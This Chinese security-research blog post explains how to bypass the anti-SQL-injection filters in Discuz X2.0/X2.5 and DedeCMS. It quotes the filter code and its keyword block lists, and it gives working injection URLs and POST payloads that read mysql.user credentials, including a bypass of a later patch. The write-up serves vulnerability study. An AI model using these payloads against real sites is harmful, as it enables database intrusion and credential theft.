您的位置 » 首页 » 代码审计 » 安全研究:几种通用防注入程序绕过方法

安全研究:几种通用防注入程序绕过方法

发表于4年前 | 作者: seay | 分类: 代码审计 | 孵化于:2013年07月29日 | 文章热度:27,382 次 全屏阅读

显示不全请点击全屏阅读

0x00 前言


目前主流的CMS系统当中都会内置一些防注入的程序,例如Discuz、dedeCMS等,本篇主要介绍绕过方法。

0x01 Discuz x2.0防注入


防注入原理

这里以Discuz最近爆出的一个插件的注入漏洞为例,来详细说明绕过方法。

漏洞本身很简单,存在于/source/plugin/v63shop/config.inc.php中的第29行getGoods函数中,代码如下所示

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

functiongetGoods($id){

      $query= DB::query(‘select * from ‘.DB::table(‘v63_goods’).’ where `id` =’.$id);

        $goods= DB::fetch($query);

        $goods[‘endtime2’] =date(‘Y-m-d’,$goods[‘endtime’]);

        $goods[‘price2’] =$goods[‘price’];

        if($goods[‘sort’] ==2){

            $goods[‘endtime2’]=date(‘Y-m-d H:i:s’,$goods[‘endtime’]);

            $query= DB::query(“select * from “.DB::table(‘v63_pm’).” where gid=’$goods[id]’ order by id desc “);

            $last= DB::fetch($query);

            if(is_array($last)){

                $goods[‘price’] =$last[‘chujia’];

                $goods[‘uid’]  =$last[‘uid’];

                $goods[‘username’]  =$last[‘username’];

                $goods[‘pm’] =$last;

                if(time()+600>$goods[‘endtime’]){

                    $goods[‘endtime’] =$last[time]+600;

                    $goods[‘endtime2’]=date(‘Y-m-d H:i:s’,$last[time]+600);

                }

            }

        }

        return$goods;

}

触发漏洞的入口点在/source/plugin/v63shop/goods.inc.php中的第6行和第8行,如图所示:  enter image description here

下面可以构造如下请求触发漏洞了,如图所示:  enter image description here

不过程序内置了一个_do_query_safe函数用来防注入,如图所示  enter image description here

这里跟踪一下_do_query_safe()函数的执行,它会对以下关键字做过滤,如图所示:

enter image description here

因为我们的url中出现了union select,所以会被过滤掉。

绕过方法

这里利用Mysql的一个特性绕过_do_query_safe函数过滤,提交如下url:

http://localhost/discuzx2/plugin.php?id=v63shop:goods&pac=info&gid=1 and 1=2 union /*!50000select*/ 1,2,3,4,5,6,concat(user,0x23,password),8,9,10,11,12,13 from mysql.user

这里我们跟踪一下,绕过的具体过程。它会将/**/中间的内容去掉,然后保存在$clean变量中,其值为

select * from pre_v63_goods where `id` =1 and 1=2 union /**/ 1,2,3,4,5,6,concat(user,0x23,password),8,9,10,11,12,13 from mysql.user

再进一步跟踪,它会将/**/也去掉,然对$clean变量做过滤,如图所示

enter image description here  此时$clean值,如图所示  enter image description here

此时$clean变量中不在含有危险字符串,绕过_do_query_safe函数过滤,成功注入,截图如下:  enter image description here

0x02 Discuz X2.5防注入


防注入原理

Discuz X2.5版修改了防注入函数的代码,在/config/config_global.php中有如下代码,如图所示  enter image description here

这里$_config[‘security’][‘querysafe’][‘afullnote’]默认被设置为0,重点关注这一点。

这里跟踪一下失败的原因,如图所示:  enter image description here

此时观察一下变量,_do_query_safe($sql)函数会将/**/中的内容去掉,然后存到$clean中,如图所示:  enter image description here

其实,程序执行到这里跟Discuz X2.0没有区别,$clean的值都一样。但是关键在下面,如图所示:

enter image description here  因为前面提到$_config[‘security’][‘querysafe’][‘afullnote’]=’0’,所以这里不会替换/**/为空,并且它在后面会判断$clean中是否会出现“/*”,如图所示:  enter image description here

所以注入失败。

绕过方法

在Mysql当中,定义变量用@字符,可以用set @a=’abc’,来为变量赋值。这里为了合法的构造出一个单引号,目的是为了让sql正确,我们可以用@’放入sql语句当中,帮助我们绕过防注入程序检查。

这里利用如下方式绕过_do_query_safe函数过滤,如下所示:

http://localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=@`’` union select @`’`,2,3,4,5,6,7,concat(user,0x3a,password),9,10,11,12,13,14 from mysql.user

这里跟踪一下执行的过程,如图所示:

enter image description here  这里有一个if判断,重点看这句

1

$clean= preg_replace(“/'(.+?)’/s”,”,$sql);

它会将$sql中单引号引起来的字符串省略掉,所以我们可以用绕过dede防住ids的思路,利用

@`’` union select @`’`

这样的方法,在下面的过滤中省掉union select,这里跟踪一下,如图所示:  enter image description here

这样便绕过了_do_query_safe函数检测,成功绕过防注入,如图所示:  enter image description here

不过后来Discuz官方发布了一个修复补丁,但并没用从根本上解决问题。官方的修复代码如下:  enter image description here

加了一个判断,过滤字符串中的@,但是始终没有修复根本问题,关键是上边的那个if判断会将单引号之间的内容(包括单引号)替换为空,代码如下:

1

2

3

if(strpos($sql,’/’) === false &&strpos($sql,’#’) === false &&strpos($sql,’– ‘) === false) {

    $clean= preg_replace(“/'(.+?)’/s”,”,$sql);

}

这里我只要稍做一下变换就可以让@字符消失,从而绕过它的过滤,利用如下所示:

http://localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=`’` or @`”` union select 1 from (select count(*),concat((select database()),floor(rand(0)*2))a from information_schema.tables group by a)b where @`’`

这里我引入了`’`用来隐藏第一个@字符,并将第一个@`’`替换为@`”`,这样便可以替换掉第二个@,这里我们跟踪一下代码,如图所示:  enter image description here

可以看到$clean变为

select * from pre_v63_goods where `id` =“

成功绕过补丁,如图所示:

enter image description here  不过这样做的代价是不能再使用union select了,只能通过报错获取数据。

0x03 DedeCMS防注入


防注入原理

这里我也以最近热点分析的dedeCMS feedback.php注入漏洞为例,分析如何绕过其防注入系统。不过在这之前,还得先提一下这个漏洞。

漏洞存在于/plus/feedback.php中的第244行,代码如下所示

!#phpif($comtype == ‘comments’)    {         $arctitle = addslashes($title);         $typeid = intval($typeid);         $ischeck = intval($ischeck);         $feedbacktype = preg_replace(“#[^0-9a-z]#i”, “”, $feedbacktype);         if($msg!=”)         {             $inquery = “INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)                    VALUES (‘$aid’,’$typeid’,’$username’,’$arctitle’,’$ip’,’$ischeck’,’$dtime’, ‘{$cfg_ml->M_ID}’,’0′,’0′,’$feedbacktype’,’$face’,’$msg’); “;             $rs = $dsql->ExecuteNoneQuery($inquery);             if(!$rs)             {                 ShowMsg(‘ 发表评论错误! ‘, ‘-1’);                 //echo $dsql->GetError();                 exit();             }         }    }     //引用回复     elseif ($comtype == ‘reply’)    {         $row = $dsql->GetOne(“SELECT * FROM `#@__feedback` WHERE id =’$fid'”);         $arctitle = $row[‘arctitle’];         $aid =$row[‘aid’];         $msg = $quotemsg.$msg;         $msg = HtmlReplace($msg, 2);         $inquery = “INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)                 VALUES (‘$aid’,’$typeid’,’$username’,’$arctitle’,’$ip’,’$ischeck’,’$dtime’,'{$cfg_ml->M_ID}’,’0′,’0′,’$feedbacktype’,’$face’,’$msg’)”;         $dsql->ExecuteNoneQuery($inquery);     }

这里$title变量未初始化,所以$title可以作为可控变量,所以我们可以进一步控制$arctitle。跟踪发现$arctitle被直接带入SQL语句当中,但是这里执行的INSERT语句入库之后会将前面addslashes转义的单引号在会员还原回去。进一步跟踪下面的代码,在第268行,如下所示

$row = $dsql->GetOne(“SELECT * FROM `#@__feedback` WHERE id =’$fid'”); $arctitle = $row[‘arctitle’];

这里的查询#@__feedback表正式上面INSERT的那个表,arctitle字段取出来放到$arctitle变量当中,继续跟踪到第273行,这下豁然开朗了,

$inquery = “INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)                 VALUES (‘$aid’,’$typeid’,’$username’,’$arctitle’,’$ip’,’$ischeck’,’$dtime’,'{$cfg_ml->M_ID}’,’0′,’0′,’$feedbacktype’,’$face’,’$msg’)”;

这里$arctitle变量未作任何处理,就丢进了SQL语句当中,由于我们可以控制$title,虽然$arctitle是被addslashes函数处理过的数据,但是被INSERT到数据库中又被还原了,所以综合起来这就造成了二次注入漏洞。

但是这里如何利用呢,通过跟踪代码发现,整个dede在整个过程中始终没有输出信息,所以我们无法通过构造公式报错来获取数据,但是进一步分析代码发现#@__feedback表当中的msg字段会被输出。由于$arctitle变量是可控的,所以我们可以通过构造SQL语句,将我们要执行的代码插入到msg字段当中,这样便可以输出执行的内容了。

绕过方法

众所周知,dedeCMS内置了一个CheckSql()函数用来防注入,它是80sec开发的通用防注入ids程序,每当执行sql之前都要用它来检查一遍。其代码如下所示:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

functionCheckSql($db_string,$querytype=’select’)

    {

        global$cfg_cookie_encode;

        $clean=”;

        $error=”;

        $old_pos= 0;

        $pos= -1;

        $log_file= DEDEINC.’/../data/’.md5($cfg_cookie_encode).’_safe.txt’;

        $userIP= GetIP();

        $getUrl= GetCurUrl();

  

        //如果是普通查询语句,直接过滤一些特殊语法

        if($querytype==’select’)

        {

            $notallow1=”[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}”;

  

            //$notallow2 = “–|/\*”;

            if(preg_match(“/”.$notallow1.”/i”,$db_string))

            {

                fputs(fopen($log_file,’a+’),”$userIP||$getUrl||$db_string||SelectBreak\r\n”);

                exit(“<font size=’5′ color=’red’>Safe Alert: Request Error step 1 !</font>”);

            }

        }

  

        //完整的SQL检查

        while(TRUE)

        {

            $pos=strpos($db_string,’\”,$pos+ 1);

            if($pos=== FALSE)

            {

                break;

            }

            $clean.=substr($db_string,$old_pos,$pos-$old_pos);

            while(TRUE)

            {

                $pos1=strpos($db_string,’\”,$pos+ 1);

                $pos2=strpos($db_string,’\\’,$pos+ 1);

                if($pos1=== FALSE)

                {

                    break;

                }

                elseif($pos2== FALSE ||$pos2>$pos1)

                {

                    $pos=$pos1;

                    break;

                }

                $pos=$pos2+ 1;

            }

            $clean.=’$s$’;

            $old_pos=$pos+ 1;

        }

        $clean.=substr($db_string,$old_pos);

        $clean= trim(strtolower(preg_replace(array(‘~\s+~s’),array(‘ ‘),$clean)));

  

        //老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它

        if(strpos($clean,’union’) !== FALSE && preg_match(‘~(^|[^a-z])union($|[^[a-z])~s’,$clean) != 0)

        {

            $fail= TRUE;

            $error=”union detect”;

        }

  

        //发布版本的程序可能比较少包括–,#这样的注释,但是黑客经常使用它们

        elseif(strpos($clean,’/*’) > 2 ||strpos($clean,’–‘) !== FALSE ||strpos($clean,’#’) !== FALSE)

        {

            $fail= TRUE;

            $error=”comment detect”;

        }

  

        //这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库

        elseif(strpos($clean,’sleep’) !== FALSE && preg_match(‘~(^|[^a-z])sleep($|[^[a-z])~s’,$clean) != 0)

        {

            $fail= TRUE;

            $error=”slown down detect”;

        }

        elseif(strpos($clean,’benchmark’) !== FALSE && preg_match(‘~(^|[^a-z])benchmark($|[^[a-z])~s’,$clean) != 0)

        {

            $fail= TRUE;

            $error=”slown down detect”;

        }

        elseif(strpos($clean,’load_file’) !== FALSE && preg_match(‘~(^|[^a-z])load_file($|[^[a-z])~s’,$clean) != 0)

        {

            $fail= TRUE;

            $error=”file fun detect”;

        }

        elseif(strpos($clean,’into outfile’) !== FALSE && preg_match(‘~(^|[^a-z])into\s+outfile($|[^[a-z])~s’,$clean) != 0)

        {

            $fail= TRUE;

            $error=”file fun detect”;

        }

  

        //老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息

        elseif(preg_match(‘~\([^)]*?select~s’,$clean) != 0)

        {

            $fail= TRUE;

            $error=”sub select detect”;

        }

        if(!empty($fail))

        {

            fputs(fopen($log_file,’a+’),”$userIP||$getUrl||$db_string||$error\r\n”);

            exit(“<font size=’5′ color=’red’>Safe Alert: Request Error step 2!</font>”);

        }

        else

        {

            return$db_string;

        }

    }

但通过跟踪这段代码发现,它有个特征就是会将两个单引号之间的内容用$s$替换,例如’select’会被替换为$s$,这里用两个@`’`包含敏感字,这样$clean变量中就不会出现敏感字,从而绕过CheckSql()函数检测。

这里可以设置title为如下代码,一方面绕过ids防注入代码检测,另一方面加一个#注释掉后面的代码,但是还要做一下变形,就是这个char(@`’`)了。因为#@__feedback的所有字段都被设置为NOT NULL,而@`’`是一个变量,默认为NULL,直接插入@`’`的话会报错,所以需要以char(@`’`)的方法转换一下。

‘,char(@`’`),1,1,1,1,1,1,1,(SELECT user()))#,(1,

跟踪代码,如图所示  enter image description here

如下SQL语句

INSERT INTO `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES (‘1′,’1′,’游客’,’\’,char(@`\’`),1,1,1,1,1,1,1,(SELECT user()))#,(1,’,’127.0.0.1′,’1′,’1364401789′, ‘0’,’0′,’0′,’feedback’,’1′,’genxor’);

被替换为了

insert into `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) values ($s$,$s$,$s$,$s$,$s$,$s$,$s$, $s$,$s$,$s$,$s$,$s$,$s$);

字符串中没有任何敏感字,成功绕过CheckSql()函数检测。

POST如下请求给feedback.php,如下所示:

   action=send&comtype=comments&aid=1&isconfirm=yes&feedbacktype=feedback&face=1&msg=genxor&notuser=1&typeid=1&title=’,char(@`’`),1,1,1,1,1,1,1,(SELECT user()))#,(1,

跟踪代码,实际执行的SQL语句跟踪变量如下所示:  enter image description here

被插入数据库中的内容,如图所示:  enter image description here

下面再POST如下内容给feedback.php,

action=send&comtype=reply&aid=1&isconfirm=yes&feedbacktype=feedback&fid=50

跟踪一下这里执行的SQL语句,如图所示  enter image description here

所以select user()执行了,并且可以作为msg字段输出。

0x04 总结


在写这篇文章之前,我分析了很多常用的cms系统的源码,包括discuz、dedecms、phpwind、phpcms等,只有在discuz、dedecms这两个系统中用到通用防注入,但是它们所覆盖的用户群已将相当庞大了。如果能在发现程序注入漏洞的情况下,这些绕过方法还是很有价值的。

 

作者:genxor

Tags:

代码审计, 安全研究,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡


来自 Seay互联网安全博客
本文地址:http://www.cnseay.com/3260/
文章版权说明请看置顶文章,尊重作者,转载请以链接形式标明原文地址

马上分享给你的朋友吧~

已经有2个筒子的人留下了脚印...

  • aaa 说:
    1楼
    2013 年 8 月 30 日 上午 3:52 回复

    想问下那个跟踪函数是怎么跟踪的啊

    • 【管理员】seay 说:
      2013 年 8 月 30 日 下午 10:11 回复

      一些专业的PHP开发工具可以做到

发表评论

你的大名(必填)

你的邮箱(必填)

评论内容(必填)